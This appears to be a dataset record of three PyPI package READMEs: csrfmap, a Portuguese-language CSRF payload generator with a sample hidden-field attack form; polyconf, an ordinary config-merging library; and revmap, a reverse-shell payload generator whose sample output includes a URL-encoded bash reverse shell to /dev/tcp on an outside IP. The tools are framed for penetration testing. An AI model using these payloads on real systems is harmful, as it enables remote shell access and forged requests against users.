semvec/pypi-packages huggingface dataset:
csrfmap 0.0.5
csrfmap (Payloads Cross Site Request Forgery)
License: MIT
Requires Python: >=3.11,<4.0

<img width=100% src="https://capsule-render.vercel.app/api?type=waving&color=0000FF&height=120&section=header"/>

[![Typing SVG](https://readme-typing-svg.herokuapp.com/?color=0000FF&size=32&center=true&vCenter=true&width=1000&height=30&lines=csrfmap)](https://git.io/typing-svg)



<h4 align="center"> Tool to generate payloads focused on CSRF </h4>


<p align="center">
  <a href="#características">Features</a> •
  <a href="#instalação">Install</a> •
  <a href="#forma-de-utilização">How to use</a> •
  <a href="#executando-revshell">Usage</a>
</p>

---


O csrfmap é uma ferramenta que gera payloads de Cross-site request forgery. Possui uma funcionalidade que gera diversas possibilidades de exploração.

Projetei o `csrfmap`  e mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.

# Características

 - Gera payloads CSRF com foco em exploração de falsificação de requisições entre sites.

# Forma de utilização

```sh
csrfmap -a "http://exemplo.com" -m post -p form1 -n username password token -v victor password 132423542
```
Isso exibirá a ajuda para a ferramenta. Aqui estão todos os switches que ele suporta:
```yaml
 _____ _____ _____ _____ _____ _____ _____ 
|     |   __| __  |   __|     |  _  |  _  |
|   --|__   |    -|   __| | | |     |   __|
|_____|_____|__|__|__|  |_|_|_|__|__|__|   
                                                       
                        v0.0.5 - @joaoviictorti 

options:
  -h, --help            show this help message and exit
  -a ACTION, -A ACTION  Insert action
  -m METHOD, -M METHOD  Insert method
  -p {form1,form2,json1,json2}
  -n NAME [NAME ...], -name NAME [NAME ...] Insert name
  -v VALUE [VALUE ...], -value VALUE [VALUE ...] Insert values

```

# Instalação

csrfmap requer **python3** e para baixá-lo só usar:

```sh
pip3 install csrfmap
```

# Executando csrfmap

```console
csrfmap -a "http://exemplo.com" -m post -p form1 -n username password token -v victor password 132423542

 _____ _____ _____ _____ _____ _____ _____ 
|     |   __| __  |   __|     |  _  |  _  |
|   --|__   |    -|   __| | | |     |   __|
|_____|_____|__|__|__|  |_|_|_|__|__|__|   
                                                       
                        v0.0.3 - @joaoviictorti   

csrf.html:
<!DOCTYPE html>
<html lang="pt-br">
<body>
	<form action="http://exemplo.com" method="post">
	<input name="username" value="victor" type="hidden"/>
	<input name="password" value="password" type="hidden"/>
	<input name="token" value="132423542" type="hidden"/>
	<input type="submit">Enviar</input>
	</form>
</body>
</html>

```

<img width=100% src="https://capsule-render.vercel.app/api?type=waving&color=0000FF&height=120&section=footer"/>
polyconf 0.2.0
Gather and merge configuration from many sources.
License: MIT
Requires Python: >=3.11,<4.0
Keywords: polyconf,configuration

# PolyConf

## Credit

The `polyconf.core.deepmerge` module is a heavy refactor of [gh://toumorokoshi/deepmerge](https://github.com/toumorokoshi/deepmerge).
(More specifically, I based it on the tip of `main` at the time, which was commit `33a078ac7a29b63dfb91fea806cc6b96ede3fd23`.)
I don't want this library to have 3rd party dependencies, so I basically stripped the dynamic configurability of `deepmerge`,
such that the behavior of `always_merge()` became the _only_ behavior.

The keyword arguments are quite self-explanatory, so to concisely define the behavior, consider this snippet:

```python
always_merger = Merger(
    type_strategies=[
        (list, "append"),
        (dict, "merge"),
        (set, "union"),
    ],
    fallback_strategies=["override"],
    type_conflict_strategies=["override"],
)
```

The refactor is _heavy_, indeed.  At the time of this writing, `cloc` calculates it at only `22` lines of code.
However, I still want to give credit where it's due because there are a couple lessons in recursion
and fallback behavior that would have been painful to work out myself.
It also serves as a reminder for future reference because if I ever reverse the moratorium on 3rd party libs,
I'll happily depend on `deepmerge` directly.

<!-- github-only -->
revmap 0.0.8
Ferramenta que gera shell reverso em várias linguagens de programação e codifica
License: MIT
Requires Python: >=3.11,<4.0

<img width=100% src="https://capsule-render.vercel.app/api?type=waving&color=0000FF&height=120&section=header"/>

[![Typing SVG](https://readme-typing-svg.herokuapp.com/?color=0000FF&size=32&center=true&vCenter=true&width=1000&height=30&lines=revmap)](https://git.io/typing-svg)



<h4 align="center">Tool that generates reverse shell in multiple languages and encodes </h4>


<p align="center">
  <a href="#características">Features</a> •
  <a href="#instalação">Install</a> •
  <a href="#forma-de-utilização">How to use</a> •
  <a href="#executando-revmap">Usage</a>
</p>

---


O revmap é uma ferramenta que gera payloads de reverse shell de várias linguagens como python, bash, perl, powershell e muit outros. Possui uma funcionalidade que faz encode das payloads desejadas e dessa forma sendo simples e otimizada para velocidade. Revmap é construído para fazer apenas uma coisa: gera payloads reverse shell + encodes e faz isso muito bem.

Projetei o `revmap` para cumprir todas as responsabilidades para gera payloads e encodes, mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.

# Características

 - Gera payloads de reverse shell para diversas linguagens de programação (python, bash, powershell e etc)
 - Funcionalidade de realizar encode das payloads desejadas (Url encode, base64, hexadecimal e etc)

# Forma de utilização

```sh
revmap --ip 192.168.4.80 --port 4444
```
Isso exibirá a ajuda para a ferramenta. Aqui estão todos os switches que ele suporta:
```yaml
 ___ ___ _ _ _____ ___ ___ 
|  _| -_| | |     | .'| . |
|_| |___|\_/|_|_|_|__,|  _|
                      |_|  
        v0.0.8 - @joaoviictorti 

options:
  -h, --help    show this help message and exit
  --version     show program's version number and exit
  --ip IP       Insert ip
  --port PORTA  Insert port
```

# Instalação

revmap requer **python3** e para baixá-lo só usar:

```sh
pip3 install revmap
```

# Executando revmap

```console
revmap --ip 192.168.4.103 --port 80
 ___ ___ _ _ _____ ___ ___
|  _| -_| | |     | .'| . |
|_| |___|\_/|_|_|_|__,|  _|
                      |_|
        v0.0.8 - @joaoviictorti

[tab] for commands suggestions
192.168.4.103 (80) [revmap] # bash
Do you want to use encoding?  (Yes/No) [revmap] # yes
Insert encode [revmap] # urlencode
bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/192.168.4.103/80%20%3C%261%27
192.168.4.103 (80) [revmap] #

```

<img width=100% src="https://capsule-render.vercel.app/api?type=waving&color=0000FF&height=120&section=footer"/>